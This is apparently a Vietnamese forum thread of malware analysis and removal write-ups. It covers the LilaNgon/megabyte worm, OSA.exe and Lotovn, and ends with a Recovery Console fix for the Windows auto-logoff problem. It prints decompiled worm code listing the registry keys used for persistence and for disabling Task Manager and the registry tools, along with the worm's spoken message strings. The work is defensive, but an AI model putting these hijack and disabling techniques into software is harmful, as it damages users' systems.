Trong suốt quá trình Decompiler, sẽ gặp cả tá kiểu phân tích String bằng các hàm Chr$(XX). Để truy tìm String cho lẹ, DC code lẹ đoạn code sau (Cách dùng cũng hơi mất công, nhưng như vậy code mới đơn giản được )
PHP:
Private Sub Command1_Click()
Dim str1 As String
str1 = Text1
str1 = Replace(str1, "Chr$(&H", "", , , vbBinaryCompare)
str1 = Replace(str1, ") & ", "", , , vbBinaryCompare)
Text2 = str1

Dim kq As String
For i = 1 To Len(str1) Step 2
kq = kq & Chr(HexToDec(Mid(str1, i, 2)))
Next
Text2 = kq


End Sub

PHP:
Private Function HexToDec(GT As String) As Integer
'Viet nhanh voi truong hop chi xet 2 Byte (De giai ma doan ma VBS can xet)
HexToDec = LayGT(Mid(GT, 1, 1)) * 16 + LayGT(Mid(GT, 2, 1))
End Function
Private Function LayGT(GT As String) As Integer
If (GT <> "0") And (Val(GT) = 0) Then
LayGT = 9 + Asc(UCase(GT)) - 64
Else
LayGT = Val(GT)
End If
End Function


[FONT=&quot]Đưa hết các String bị mã hóa kiểu đó về dạng String chuẩn. O dze, mọi thứ đã rõ ràng.

- Bước 2: Phân tích-
Nếu tham số có string trongcaicuocsongconthangnaolithangdongonthì sau đó sẽ tiến hành Kill cửa sổ bắt kỳ có các chuỗi String nhất định (Dùng hàm API FindWindows) (Hàm Unknown_40934C)

[/FONT]
PHP:
If (Right$(CStr(Command$), Len("trongcaicuocsongconthangnaolithangdongon")) = "trongcaicuocsongconthangnaolithangdongon") Then
loc_4087EA: var_A4 = LCase$(Left$(CStr(Command$), CLng((Len(Command$) - CVar(Len("trongcaicuocsongconthangnaolithangdongon "))))))
loc_408800: MemVar_411054 = Unknown_40934C()
loc_40880F: CRefVarAry
For var_E8 = 0 To CInt(UBound(MemVar_411054, 1)): MemVar_411064 = var_E8 'Integer
If CBool(CVar(var_A4) Like (("*" + MemVar_411054(MemVar_411064)) + "*")) Then
loc_40885B: Exit Sub
End If
Next var_E8 'Integer
loc_40887C: var_120 = Shell(var_A4, 1)
End If
[FONT=&quot]
Nếu tham số truyền vào khác là tungtang thì gọi hàm trích xuất tích xuất thư viện VNSPEECH từ Resource.
[/FONT]
PHP:
loc_407CC8: If (Command$ = "tungtang") Then
loc_407CCB: GoTo loc_407CF7
loc_407CCE: End If
loc_407CE6: If CBool(Command$ <> "tungtang") Then
loc_407CEB: Unknown_40C148()
loc_407CF2: Unknown_410434()
loc_407CF7: ' Referenced from: 407CCB
loc_407CF7: End If
[FONT=&quot]
Nếu bạn có quan tâm đến việc đọc tiếng Việt thì chắc chắn bạn đã biết thư viện này, một thư viện viết trên C++ của một cơ quan nào đó trên bộ, và nó chỉ cho phép đọc chuỗi có font .vn.

Tùy các lệnh sẽ gọi Explorer hoặc IE ra.

[/FONT]
PHP:
loc_40B36B: If (Command$ = "o") Then
loc_40B4B1: var_124 = Shell("explorer.exe" & " " & App.Path, 3)
loc_40B507: GoTo loc_40C142
loc_40B50A: End If
loc_40B522: If (Command$ = "e") Then
loc_40B6B4: var_124 = Shell("explorer.exe/e," & " " & App.Path, 3)
loc_40B71E: GoTo loc_40C142
loc_40B721: End If
loc_40B739: If (Command$ = "init") Then
loc_40B858: var_124 = Shell("explorer.exe", 0)
loc_40B8A5: GoTo loc_40C142
loc_40B8A8: End If
loc_40B8C0: If (Command$ = "ie") Then
loc_40BCD9: var_124 = Shell(CVar(Left$(MemVar_4110F4, 3) & "Program Files\Internet Explorer\IEXPLORE.EXE"), 1)
loc_40BDEC: GoTo loc_40C142
loc_40BDEF: End If
[FONT=&quot]
-
Khai báo cả tá dữ liệu :
[/FONT]
PHP:
loc_40E8D8: MemVar_41107C = "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit"
loc_40EA4E: MemVar_411080 = Left$(MemVar_41107C, (Len(MemVar_41107C) - 8)) & "Shell"
loc_40EB96: MemVar_411084 = "HKEY_CLASSES_ROOT\"
loc_40EDAE: MemVar_4110A0 = MemVar_411084 & "exefile\shell\open\command\"
loc_40F2E9: MemVar_411088 = MemVar_411084 & "CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\OpenHomePage\Command\"
loc_40F926: MemVar_41108C = "HKCU\Software\Microsoft\Windows\CurrentVersion\Po licies\System\DisableTaskMgr"
loc_40FB4E: MemVar_411090 = Left$(MemVar_41108C, (Len(MemVar_41108C) - 7)) & "RegistryTools"
loc_40FD35: MemVar_411094 = Left$(MemVar_41108C, (Len(MemVar_41108C) - &H15)) & "Explorer\NoFolderOptions"
loc_41024E: MemVar_411098 = "HKCU\Software\Microsoft\Windows\CurrentVersion\Ex plorer\Advanced\Hidden"
loc_410409: MemVar_41109C = Left$(MemVar_411098, (Len(MemVar_411098) - 3)) & "eFileExt"
[FONT=&quot]

Okie, nhìn vào đó có thể biết virus làm gì Registry rồi nhé.

[/FONT]
 
LilaNgon (250.exe megabyte.exe) !! (tt)

Để dễ phân biệt lệnh nào tương đương với file nào, chúng ta sẽ xem đoạn code sau :

PHP:
loc_40CCD6: If (var_3A4 = "megabyte") Then
loc_40CD12: var_3AC = Shell(CVar(Unknown_40784C(MemVar_4110F4, MemVar_4110A6) & var_3A4 & ".exe" & " " & "init"), 1)
loc_40CD25: GoTo loc_40CDDD
loc_40CD28: End If
loc_40CD32: If (var_3A4 = "250mb") Then
loc_40CD6E: var_3AC = Shell(CVar(Unknown_40784C(MemVar_4110F4, var_3AC) & var_3A4 & ".exe" & " " & "rash"), 1)
loc_40CD81: GoTo loc_40CDDD
loc_40CD84: End If
loc_40CD8E: If (var_3A4 = "tungtang") Then
loc_40CDCA: var_3AC = Shell(CVar(Unknown_40784C(MemVar_4110F4, var_3AC) & var_3A4 & ".exe" & " " & "speechanddown"), 1)
loc_40CDDD: ' Referenced from: 40CD25
loc_40CDDD: ' Referenced from: 40CD81
loc_40CDDD: End If
loc_40CDDF: GoTo loc_40CEF7
loc_40CDE2: End If
loc_40CDEE: If (var_3A4 = "250mb") Then
loc_40CE2A: var_3AC = Shell(CVar(Unknown_40784C(MemVar_4110F4, var_3AC) & var_3A4 & ".exe" & " " & "rash"), 1)
loc_40CE3D: GoTo loc_40CEF5
loc_40CE40: End If
loc_40CE4A: If (var_3A4 = "megabyte") Then
loc_40CE86: var_3AC = Shell(CVar(Unknown_40784C(MemVar_4110F4, var_3AC) & var_3A4 & ".exe" & " " & "first"), 1)
loc_40CE99: GoTo loc_40CEF5
loc_40CE9C: End If
loc_40CEA6: If (var_3A4 = "tungtang") Then
loc_40CEE2: var_3AC = Shell(CVar(Unknown_40784C(MemVar_4110F4, var_3AC) & var_3A4 & ".exe" & " " & "speechanddown"), 1)
loc_40CEF5: ' Referenced from: 40CE3D
loc_40CEF5: ' Referenced from: 40CE99
loc_40CEF5: End If

Hàm Unknown_40784C làm nhiệm vụ quy đổi cho đúng path.
-
Đáng chú ý là đọc văn bảng Tiếng Việt :
File được gọi có lệnh tungtang sẽ tiếng đọc văn bảng Random từ các mẫu tin có sẵn khi thỏa điều kiện nhất định (Theo phút)

PHP:
loc_40C3F3: If (Command$ = "tungtang") Then
loc_40C3FB: If MemVar_4113A4 Then
loc_40C403: var_A4 = Time
loc_40C416: ImpAdLdUI1
loc_40C428: If (%x2 = CVar(Minute(var_A4))) Then
loc_40C438: CRefVarAry
loc_40C461: VietTTS (CStr(MemVar_411044(CVar((CLng((Rnd(var_A4) * CDbl(UBound(MemVar_411044, 1)))) / 1)))))
loc_40C479: MemVar_4113A6 = 0
loc_40C4B2: ImpAdCallUI1
loc_40C4B8: MemVar_4113A6 = CByte(Minute(Time))
loc_40C4C5: End If
loc_40C4C9: DoEvents
loc_40C4CE: GoTo loc_40C5AC
loc_40C4D1: End If
loc_40C4D9: If (MemVar_4113A4 = 0) Then
loc_40C4E1: var_A4 = Time
loc_40C4F4: ImpAdLdUI1
loc_40C506: If (MemVar_4113A6 = CVar(Minute(var_A4))) Then
loc_40C516: CRefVarAry
loc_40C53F: VietTTS(CStr(MemVar_411044(CVar((CLng((Rnd(var_A4) * CDbl(UBound(MemVar_411044, 1)))) / 1)))), CByte(((CLng((Rnd(var_C4) * CDbl(&HF))) / 1) + &HA)))
loc_40C557: MemVar_4113A6 = &HFF
loc_40C590: ImpAdCallUI1
loc_40C596: MemVar_4113A6 = CByte(Minute(Time))
loc_40C5A3: End If
loc_40C5A7: DoEvents
loc_40C5AC: ' Referenced from: 40C4CE
loc_40C5AC: End If


Các đoạn Text sẽ được đọc :

PHP:
Private Sub Unknown_4082D0()
'Data Table: 40407C
loc_4081F1: ReDim var_90(0 To &HA)
loc_408208: var_90(0) = "S©u vi tÝnh Mª Ga Bai ®­îc cÊu h×nh nh­ mét m¾c xÝch cña qu¸ tr×nh xö lý cña hÖ ®iÒu hµnh. Mét ch­¬ng tr×nh diÖt vi rÊt cã thÓ sÏ xãa mÊt phai cña Mª Ga Bai, dÉn ®Õn sù tª liÖt mét phÇn hay toµn bé hÖ thèng vèn ®· rÊt m«ng manh. §· c¶nh b¸o tr­íc mµ vÉn lµm th× chÕt r¸ng chÞu"
loc_408217: var_90(1) = "Trong c¸i cuéc sèng cßn th»ng nµo l× th»ng ®ã ngon"
loc_408226: var_90(2) = "S©u m¸y tÝnh Mª Ga Bai kh«ng ¨n c¾p hay g©y h¹i ®Õn d÷ liÖu cña b¹n, mª ga bai chØ muèn ®i du lÞch kh¾p n¬i, rÊt mong c¸c b¹n ñng hé"
loc_408240: var_90(3) = CVar("Mª Ga Bai xin kÓ 1 c©u chuyÖn giµu ý nghÜa, ®ã lµ c©u chuyÖn vÒ hai h¹t mÇm! " & "Mét ngµy kia cã hai mÇm c©y d­íi ®Êt trß chuyÖn víi nhau: chóng ta ®ang ngÇm chøa mét sù sèng, chóng ta s¾p khai sinh, nh­ng mÆt ®Êt phÝa " & _
"trªn chóng ta cã mét t¶ng ®¸ lín. Lµm thÕ nµo b©y giê? MÇm c©y thø nhÊt nãi: chóng ta men theo c¹nh t¶ng ®¸ ®ã ®Ó tråi lªn ®ãn ¸nh n¾ng mÆt trêi. MÇm c©y thø hai nãi: sao anh hÌn thÕ, chóng ta cø ®©m th¼ng mµ lªn chø! ThÕ råi mÇm c©y thø hai dòng c¶m ®©m th¼ng vµo t¶ng ®¸ vµ nã kh«ng bao giê nh×n thÊy ¸nh s¸ng mÆt trêi. Cßn mÇn c©y thø nhÊt nh« lªn c¹nh t¶ng ®¸. " & _
"Nh÷ng tia n¾ng mÆt trêi ®Çu tiªn ®­îc nh×n thÊy lµm nã sung s­íng ®Õn ng©y ngÊt, nã thÇm nhñ: thÕ lµ m×nh ®· khai sinh. T¶ng ®¸ thÊy vËy c­êi b¶o: Ng­¬i chØ lµ mét h¹t mÇm nhá xÝu, cã g× ®¸ng tù hµo l¾m ®©u... MÇm c©y buån l¾m, nã nhÉn n¹i quang hîp, råi mét ngµy kia, c©y to lín, hßn ®¸ l¨n sang mét bªn. Hßn ®¸ im lÆng suèt ®êi nh­ thÇm tr¸ch... Cßn c©y th× ®¬m hoa vµ ng¸t h­¬ng. " & "ChØ cã nh÷ng ®ªm " & _
"hu vÒ nã buån trong tiÕng l¸ r¬i xµo x¹c, cã lÏ nã ®ang nghÜ vÒ ng­êi b¹n xÊu sè cña nã. D©u ®ã d­íi mÆt ®Êt nµy liÖu cßn bao nhiªu mÇm h¹t cã sè phËn nh­ ng­êi b¹n cña nã. " & "NÕu hay th× cho trµn ph¸o tay nµo!")
loc_408253: var_90(4) = "S©u vi tÝnh Mª Ga Bai ®­îc viÕt b»ng ng«n ng÷ vi sua b©y sÝc. ViÕt mét s©u vi tÝnh lµ kh«ng khã nh­ nhiÒu ng­êi vÉn t­ëng, ®iÓm mÊu chèt lµ b¹n cã d¸m lao vµo cuéc hay kh«ng. Tr­íc ®©y t«i còng ch¼ng biÕt g×, chØ sau 1 th¸ng mµi mß còng lµm ®­îc con ®Çu tiªn, vµ sau n÷a n¨m th× viÕt ®­îc con Mª Ga Bai"
loc_408262: var_90(5) = "Cã ai ®ang ngåi tr­íc mµn h×nh vi tÝnh kh«ng, l¾ng tai nghe tao biÓu nÌ, sao m¸y tÝnh cña mµy toµn lµ r¸c kh«ng v©y, ®Ó tao xãa 1 ph¸t cho s¹ch sÏ nha... §ïa cho vui th«i, chø tao ®©u d¸m xãa cña mµy ®©u, xãa cña mµy xong mµ bÞ b¾t th× chØ cã n­íc ®i xÐ lÞch, tao kh«ng cã ngu ®Õn nçi lµm c¸i trß khïng ®ã ®©u"
loc_408271: var_90(6) = "HÐ he hª hÒ hÝ hi ha hµ. Khµ khµ. Lµm ¬n ®èt cho tao mét chót giÊy tiÒn vµng m· ®i, nÕu kh«ng tao sÏ ®èt hÕt d÷ liÖu cña mµy mµ xµi ®ì. £ nhí th¾p cho tao 3 c©y nhan mçi ngµy n÷a ®ã"
loc_408280: var_90(7) = "ChÊt l­îng ®µo t¹o c«ng nghÖ th«ng tin còng nh­ c¸c nghµnh kh¸c ë c¸c tr­êng ®¹i häc ë viÖt nam thËt lµ kinh khñng. gi¶ng viªn d¹y cø nh­ chim s©u mèm måi cho vÞt. Cßn sinh viªn ®a sè cÆm côi chÐp bµi nh­ con bß tr©n m×nh gÆm ®èng cá kh« khã nuèt. Ng­êi ta ®· lªn tíi mÆt tr¨ng tõ l©u råi, th× Ýt ra m×nh còng ph¶i tíi mÆt ®Êt. Cø sao l¹i cßn ë trong hang, mÊt mÆt qu¸"
loc_40828F: var_90(8) = "TËp ®oµn t­ b¶n ®á ViÖt Nam lïi 1 b­íc, sau ®ã quay l­ng l¹i råi tiÕn 10 b­íc trong vÊn ®Ò tranh chÊp chñ quyÒn quÇn ®¶o Hoµng Sa vµ Tr­êng Sa víi Trung Quèc. Yªu cÇu céng s¶n ViÖt Nam hñy ngay hîp ®ång b¸n ®Êt cho Trung Quèc"
loc_40829E: var_90(9) = "Th«ng b¸o t×m trÎ l¹c. Mª Ga Bai cÇn t×m ®øa em hä lµ s©u vi tÝnh Mi Xa, nã ®· bá nhµ ra ®i l©u l¾m råi, kh«ng biÕt sèng chÕt ra sao, cã ai nh×n thÊy xin vui lßng ®¨ng tin lªn m¹ng in t¬ nÐt dïm, xin nãi thªm vÒ ®¹t ®iÓm nhËn d¹ng lµ nã hay c­êi vµ hay h¸t"
loc_4082AD: var_90(&HA) = ""
loc_4082BD: Erase var_90
loc_4082C1: MemVar_411024 = Array(var_90)
loc_4082CC: Exit Sub
End Sub


Nếu muốn đọc được, chịu khó Copy and Paste vào Word rồi chọn Font .vn mà đọc nhe.

Bắt được thằng viết con này ngon nhe . Coi thử nó giảng dạy IT như thế nào + Nó “chống phá cách mạng” kiểu gì.

Homepage chú này : http//h1.ripway.com/......(Đây chỉ là phần đầu, phần còn lại xin được giữ làm ....kỉ niệm )



(Theo virusvn.com)
 
Virus OSA.exe !!

Nguyên tắc khi phân tích virus :
1. Không tìm cách xóa virus trong hệ thống. Có thể bạn ngạc nhiên về điều này, nhưng thực ra, cái chúng ta muốn thực hiện đó là dừng hoàn toàn virus làm việc, còn việc lưu trữ chúng hoàn toàn là không cần thiết.
2. Khi phân tích cố tìm các thông tin mà virus tạo ra trong hệ thống (Registry thường có vai trò đặc biệt quan trọng)
3. Sau khi có thông tìn, đừng mừng vội, hãy thử diệt và khởi động lại máy thậm chí đôi lúc phải làm việc thật lâu chúng ta mới có thể khẳng định virus đã “chết” hay chưa (Tùy vào từng kiểu khởi động của virus mà chúng ta có thể xác định điều này).
4. Nếu bạn chỉ muốn nghiên cứu virus thì bạn thậm chí chẳng cần xóa virus khỏi hệ thống (Hì hì, phân tích và dừng chúng làm việc là đủ). Nếu bạn muốn diệt chúng (Như sửa máy cho người khác) thì trong quá trình xác định virus làm gì, hãy cố ghi chép lại các thông tin hệ thống để phục hồi (Với các file virus tạo ra phải xóa chúng) để tạo sự an toàn cho người dùng.
5. DC mong rằng các bạn không nên rập khuôn cứng nhắc theo 1 “công thức” nào đó để làm việc này.


Hôm trước, ngẫu hứng DC mò trong kho Sample virus của mình (DC có thói quen sưu tập mẫu virus tạo kho virus riêng, hiện nay cũng có có vài ... chục mẫu).
“Khùng khùng”, đang chạy máy thực DC ấn kích hoạt virus OSA.exe.
Vài ngày sau DC mới viết bài nhỏ về ProcessXP thì DC mới nhớ ra là hôm trc DC có kích hoạt chú virus này mà quên thịt nó.
Tưởng chừng đơn giản, chỉ cần ProcessXP và Autoruns như “truyền thống”. DC bất ngờ nhận ra mặt dù ngắt virus rất đơn giản (Chỉ với 1 file tiến trình tạo ra với tên OSA.exe) nhưng cái cách virus được khởi động làm DC cảm thấy khó hiểu.
Lâu lắm mới lại gặp dạng virus hấp dẫn.
Cũng lâu lắm mới lại dùng tới các công cụ khác của Sysinternals (Trừ ProcessXP Autoruns là các phần mềm quá quen thuộc).
DC sử dụng Registry Moniter để tìm hiểu cách ghi thông tin khởi động của virus với suy nghĩ : Virus gần như chắc chắn phải tìm 1 cách khởi động bằng một key nào đó trong registry (Mà ngay cả Autoruns cũng ko cập nhật).

Okie. DC bắt đầu :

1.
Đầu tiên, vẫn sử dụng ProcessXP. DC sử dụng tính năng phân tích String từ các tiến trình đang hoạt động. Đáng tiếc, phân tích ngay trong file không mang lại thông tin nào đáng giá, DC sử dụng tiếp tính năng phân tích String từ memory.

String.PNG



Một thông tin khá đáng giá, đường dẫn C:\Windows\System32\Tapi32init.exe
Chưa có gì đảm bảo nó là của virus tạo ra.
DC dò theo path này để xác định.
Okie, chính xác. Trùng khớp về dung lượng với file virus nằm tại C:\Windows\OSA.exe . Okie, về nguyên tắc để nhận ra 2 file là giống nhau hay ko chúng ta cần so sánh đến từng byte, hay đơn giản là so sánh mã MD5, CRC, SHA... đủ thứ. Nhưng với thông thường, DC cứ so sánh dung lượng cho lẹ (Chứ lấy đâu Tool mà làm mấy vụ kia, còn nếu tự phân tích mà so sánh thì chỉ đau mắt thôi hà
01.gif
).


Ngoài thông tin giá trị này, DC còn nhận ra các hàm API mà virus sài. Hix hix, do trình độ yếu kém nên rốt cuộc DC chưa thể sử dụng các thông tin về hàm API này để làm gì.
Đọc các phần tiếp theo, bạn sẽ thấy thông tin chúng ta mới vừa nhận ra chỉ có tác dụng kiểm chứng mà thôi.

2.

Chúng ta cần hiểu một điều, bất kỳ kẻ viết virus “cẩn thận” nào luôn cố gắng các thông tin trong hệ thống được thiết lập chắc chắn để virus hoạt động ngon lành (Nói dễ hiểu là các thông tin trong registry để virus khởi động chẳng hạn).
Hì hì, vâng. DC cũng đã từng viết chúng, DC nghĩ kẻ khác cũng làm vậy.
Chúng ta phải làm sao ?
Sử dụng Registry Monitor để nhận ra chú virus làm gì với Registry của chúng ta.
Tuy nhiên bạn cần hiểu rằng, ko phải cứ kích hoạt virus là lập tức nó liên tục ghi vào các thông tin trong registry. Việc đó chỉ gây tốn kém nghiêm trọng các tài nguyên hệ thống mà thôi. Thường sau 1 thời gian nhất định thì virus mới làm việc ấy
=> Việc tìm thông tin này giống như mấy chú phóng viên chờ để chộp thông tin vậy.


Còn một điều mà bạn nên chú ý, nếu bạn dùng Registry Monitor bạn sẽ dễ dàng thấy các thao tác tạo thông tin của virus. Nó gần như là những thay đổi có tính “chiến lượt” của virus, với những thông tin ghi vào chứa đường dẫn nào đó thì bạn cần đặc biệt chú ý nó nhé. Hì hì. Bạn sẽ hiểu ngay trong lần “thực nghiệm” này của DC.
À, còn điều này nữa. Một số virus rất thận trong, chúng đọc các thông tin tại những điểm chúng định ghi vào. Nếu đã có dữ liệu cần ghi có sẵn thì chúng lại chẳng ghi vào. Hì hì, trong trường hợp OSA.exe, chúng ko làm vậy nhưng DC cần nhắc để các bạn thận trọng (Ko chỉ các thao tác tạo khóa mới quan trọng nhé).


-----------------------------------
DC ngắt phiên làm việc của virus bằng ProcessXP, kiểm tra lại các tiến trình có bị thư viện lạ Inject hay ko. Check RootKit.

Okie. Nó ko Inject, ko RootKit gì cả.
Chúng ta tiếp tục.

Phục hồi lại các thông tin về hệ thống (OSA khóa trình soạn thảo Registry...). DC sử dụng VNFix (Hì hì, thank MariotVN của BenhVienTinHoc nhé, bác đã ko chê trách em khi em viết virus, rồi em lại mang ơn bác khi liên tục phải sài Tool bác viết
01.gif
).

Okie. Xong phần chuẩn bị.
DC kích hoạt lại virus (C:\Windows\OSA.exe).


Hì hì, Registry Monitor đã “chầu chực” theo dõi OSA.exe.
Các thông tin giá trị đã xuất hiện :

OSARegMon.PNG
 
Virus OSA.exe !! (tt)

Okie. Một key nhé.
Key mà virus tạo ra, với giá trị chính là giá trị C:\Windows\System32\Tapi32init.exe , he he, DC gần như chắc chắn rằng đây chính là key khởi động của virus cùng hệ thống (Tuy nhiên chưa có gì là hoàn toàn chắc chắn nhé, chúng ta còn cần vài thao tác thử nghiệm để kết luận điều này).

Giờ sao nhỉ ? Hì hì
Lại Kill tiến trình virus và dùng VNFix nào.
He he, khởi động Registry lên và thử xóa key này.


OSARegis.PNG



Khởi động lại máy tính, nhìn vào process và ko thấy “chú em” OSA.exe.

Okie, tàn rồi 1 chú.

DC đi đến kết luận rằng virus OSA sử dụng key vừa rồi để khởi động và viết bài viết này.



Theo virusvn.vn
 
Con virus phát nhạc (Lotovn.worm) !!

A virus Made In VietNam

Sorry, ban đầu DC định viết 1 cai Diary, sau đó chỉnh lại chút thành bài hướng dẫn luôn, nên bài viết hơi tức cười

---Tối 28/4/2008--
Một con virus rất “mất dạy”.
1 con virus quá .... mập (Lên đến hơn 1.2mb)
Kỹ thuật code nó ko phức tạp.
Tạo 2 process cùng làm việc.
Tạo khoá khởi động tạo Shell, UserInit và “mất dạy” nhất là tạo khóa khởi động tạo key
HKLM\SOFTWARE\Classes\Exefile\Shell\Open\Command\( Default)

Chặn Registry.
Nhiễm tới từng thư mục con. Gỉa dạng thư mục và làm ẩn sạch các thư mục.

Trong tay DC chỉ có vài Tool còn sót lại trong USB (Vì PC lại tiếp tục hư nên một số Tool quan trọng khác ko kiếm dc) : Total Comander, ProcesssXP, Autoruns, QuickRemove.

Bạn thử tưởng tượng, cứ gọi Registry từ CMD là nó Log Off.
Cứ nháy đúp file exe và nó lại khởi động virus.

Xóa file được kích hoạt bởi key HKLM\SOFTWARE\Classes\Exefile\Shell\Open\Command\( Default)
thì lại ko chạy dc app nào

-
Khùng khùng, loạn óc.
Thằng nào làm con virus mất dạy thế này. Hix hix.
-
Á, DC mừng nhảy cả lên. Còn 1 cái đĩa XPE, DC mới giữ hôm trước để nghiên cứu.
Boot thử. Vừa qua màn hình chào thì BSD xuất hiện. Thử liên tiếp 2 lần.
Tan rồi giấc mơ.
-
DC tiếp tục trở lại Windows.
Việc DC cần làm là kiếm Soft cho phép sửa chữa Registry thay thế registry hiện đã ko thể làm.

Mọi việc đều vô ích.
Trước đây DC thường chỉ gặp 2 dạng virus :
1. Hiểu là mình ko thể diệt nổi nó
2. Có thể diệt và nhanh chóng
Còn con này, rõ ràng là nó quá đơn giản. Vậy mà nó đơn DC vào thế cứng ngắc.
Hix hix
-
Con virus mất dạy.
Hẹn ngày mai. DC sẽ ra tiệm net, online, kiếm Tool cho phép sửa chửa Registry.
Lúc đó DC ko nghĩ virus này sẽ còn sống sót.
---
Hẹn ngày mai DC sẽ viết tiếp
----
----
Giờ DC sài Notepad đọc thử, rốt cuộc nó viết bằng cái gì mà sao file "bự con" thế
-
Mới mở ra MSVBVM60.DLL
VB6 thân thương.
-
------------29/4/2008
Sáng nay 8h mới thức dậy. Mò lên Ký túc xá rút tiền ko dc, má ưi. Hết tiền, mượn tạm tiền thằng bạn cùng phòng ăn ổ bánh mì cái đã
Sau đó đi chơi.
Tới khi về thì 1 dấu răng trên tay. Hix hix, hơi ê.
-
Giữa trưa, buồn buồn, ko ăn cơm.
Online.
Chợt nhớ đến IceSword với tính năng thay thế Registry mà DC hồi trc DC không quan tâm lắm.
-
Hô hô, Down về.
-
5 phút tiếp tục.

\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ \\\\\\\\\\\\\\\\\\\\
1. ProcessXP Suspend từng process (Ko được Kill đấy)
Chỉ bắt nó đứng im thôi nhé
2 process đó là : 1.exe2000.exe
2. Sử dụng công cụ IceSword chỉnh lại giá trị gốc của key trong Registry ở
HKLM\SOFTWARE\Classes\Exefile\Shell\Open\Command\( Default) : "%1" %*
Chỉnh lại khóa UserInit và Shell trong registry.
3. Bật Autoruns xóa 2 key có path là 1.exe 200.exe
4. Dùng http://www.bkav.com.vn/home/Download/FixAttrb.exe
Phục hồi tất cả tập tin-thư mục bị ẩn.
5. Dùng tính năng Search có sẵn của Windows Explorer để tìm tụi .exe có hình thư mục.
Del sạch
6. Total Comamader Kill sạch tụi autoruns.inf, loto.exe

7. Nhìn sơ qua.
Hì hì, sạch sẽ

////////////

Virus đã bị "hạ sát"
Ko uổng nhịn cơm trưa. Nhai bánh mì ăn mừng thắng lợi nào
-
Dùng một Tool của Bkis để phục hồi thuộc tính ẩn cho tất cả thư mục ổ đĩa.
Thịt hết các bản của virus trong máy.
-
XONG
-
Điều thú vị trong quá trình diệt là trong lúc online tải IceSword. DC đã tranh thủ tài về Bkav bản mới Update.
Kết quả là ngoài dự kiến.
Bkav đã Update virus này với tên Lotovn.worm
Lúc này việc có Bkav hay không đã không còn ý nghĩa nữa. Tuy nhiên, việc có Bkav làm việc cũng hay hay.
-
Điều làm DC vui vẻ cho Bkav live trong cái máy này là Bkav scan và nhận ra trong hệ thống đang nhiễm 1 con virus file tên là VectoO.PE .
Trc đây DC đã biết máy này nhiêm con này, nhưng đầu hàng không thể làm gì nó.
Bkav scan detect và Kill.
Ko tệ.

Tuy nhiên kết quả đáng thất vọng như mọi lần, Bkav có lẽ chỉ đủ "hù" tụi virus khi tụi nó đã vào hệ thống quá sâu (VectoO đã inject vào gần như toàn bộ các file .exe trong PC)
-
Tổng kết : Chỉ diệt nổi con worm Ma đè in Việt Nam, còn con virus file. Vẫn như mọi lần, DC đầu hàng




Theo virusvn.com
 
Giải quyết hiện tượng Windows tự động log off sau khi quét virus !!!

Cuộc chiến gCuộc chiến giữa virus máy tính (spyware, adware...) và người dùng máy tính luôn là đề tài nóng bỏng, không có “hồi kết” khi chúng ta vẫn còn sử dụng máy tính. Các virus ngày càng tinh quái hơn, hiểm độc hơn, có khả năng phối hợp khá “nhuần nhuyễn” để tăng tính phá hoại, lẫn tránh cơ chế phát hiện của các phần mềm phòng chống virus. Thậm chí khi bị phát hiện, người dùng cũng khó lòng diệt sạch chúng nếu không xử lý tốt các thay đổi do virus gây ra. Trong bài viết kỳ này, chúng ta sẽ quay trở lại vấn đề virus với lỗi Windows tự động log off khi người dùng đăng nhập


logof.jpg


Windows tự động log off là cú “hồi mã thương” mà một số spyware sử dụng khi bị phát hiện. Chẳng hạn các phần mềm chống virus như Norton AntiVirus, Lavasoft Ad-Aware... phát hiện và xóa tập tin spyware wsaupdater.exe nhưng không sửa thông tin trong Registry. Kết quả Windows không thể hoàn tất quá trình khởi động do thông tin Registry bị sai lệch dù bạn thử đăng nhập bằng một vài tùy chọn khác như chế độ Safe Mode và Last Known Good Configuration. Có vài cách để khắc phục lỗi này tùy vào những công cụ sẵn có, chẳng hạn như sử dụng Recovery Console trong CD cài đặt Windows hoặc trực tiếp chỉnh sửa Registry của Windows bằng tiện ích trong “CD cứu hộ” như Hiren’s BootCD, WinBuilder, Bart’s PE Builder, miniPE.

SỬ DỤNG RECOVERY CONSOLE


Bước 1. Thay thế, đổi tên tập tin userinit.exe bằng Recovery Console.

Khởi động máy với đĩa CD cài đặt Windows. Nhấn phím bất kỳ khi xuất hiện thông báo Press any key to boot from CD.

Trong màn hình Welcome to setup, nhấn phím R (Repair) để khởi động Recovery Console (RC).

Nếu hệ thống cài đặt nhiều hệ điều hành (HĐH) khác nhau, chọn HĐH bị lỗi cần khắc phục (lưu ý: nếu nhấn Enter khi chưa chọn HĐH, chương trình sẽ tự khởi động lại máy).

Nhập mật khẩu của tài khoản thuộc nhóm quản trị (Administrators).

Tại dấu nhắc của RC, gõ các dòng lệnh sau (nhấn Enter sau mỗi dòng lệnh).

cd system32

copy userinit.exe wsaupdater.exe

exit

Bước 2. Khởi động lại máy tính, bạn đã có thể đăng nhập Windows ở chế độ bình thường.

Chọn Start. Run, gõ dòng lệnh regedit và nhấn OK để mở cửa sổ Registry Editor.

Trong khung trái Registry Editor, tìm đến nhánh HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

Ở khung phải, tìm đến mục userinit, nhấn phải chuột trên mục này chọn modify.

Thay thế tập tin wsaupdater.exe bằng userinit.exe, (bao gồm cả dấu “,”) trong mục Value data (thông tin đúng trong trường hợp này là C:\WINDOWS\system32\userinit.exe,) (hình 1)

Chọn OK và đóng Registry Editor.

Bước 3. Xóa tập tin wsaupdater.exe

Khởi động lại máy tính, đăng nhập Windows bằng tài khoản thuộc nhóm quản trị (Administrators).

Chọn Start. Run, gõ dòng lệnh %Windir%\system32, nhấn OK (hoặc mở Windows Explorer, tìm đến thư mục Windows\System32)

Tìm tập tin wsaupdater.exe trong thư mục Windows\System32, chọn Delete, nhấn OK xác nhận xóa.

Ghi chú. Việc chỉnh sửa các thông số Registry đòi hỏi phải được thực hiện hết sức cẩn trọng vì chỉ một sơ suất nhỏ cũng có thể khiến Windows hoạt động bất thường, thậm chí không thể đăng nhập được. Do vậy, trước khi tiến hành bất kỳ một chỉnh sửa nào, hãy sao lưu lại cấu hình Registry hiện tại theo các hướng dẫn trong bài “Chăm sóc và bảo dưỡng Windows Registry” (ID: A0205_90).

SỬ DỤNG MINI-PE


